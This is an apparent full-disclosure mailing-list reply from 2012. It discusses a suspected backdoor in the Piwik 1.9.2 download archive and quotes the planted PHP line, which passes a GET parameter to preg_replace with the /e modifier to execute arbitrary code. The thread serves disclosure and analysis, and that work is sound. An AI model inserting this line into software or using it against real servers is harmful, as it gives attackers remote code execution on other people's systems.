full-disclosure - Re: Possible infection of Piwik 1.9.2 download archive

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Message-ID: <50B4B0B3.6020303@grobecker-wtal.de>
Date: Tue, 27 Nov 2012 13:23:15 +0100
From: Max Grobecker <max@...becker-wtal.de>
To: Christian Sciberras <uuf6429@...il.com>
Cc: full-disclosure <full-disclosure@...ts.grok.org.uk>
Subject: Re: Possible infection of Piwik 1.9.2 download
 archive

Yep, found later that the /e modifier allows you to execute code ;-)


Am 27.11.2012 12:54, schrieb Christian Sciberras:
>> At the moment I'm trying to figure out the further sense of this code,
>> but it seems that there might also be some kind of backdoor (because of
>> the use of $_GET).
> 
> 
> preg_replace("/(.+)/e", $_GET['g'], 'dwm');
> 
> You think?
> 
> 
> Chris.
> 
> 
> On Mon, Nov 26, 2012 at 9:17 PM, Maximilian Grobecker
> <max@...becker-wtal.de <mailto:max@...becker-wtal.de>> wrote:
> 
>     preg_replace("/(.+)/e", $_GET['g'], 'dwm');
> 
> 

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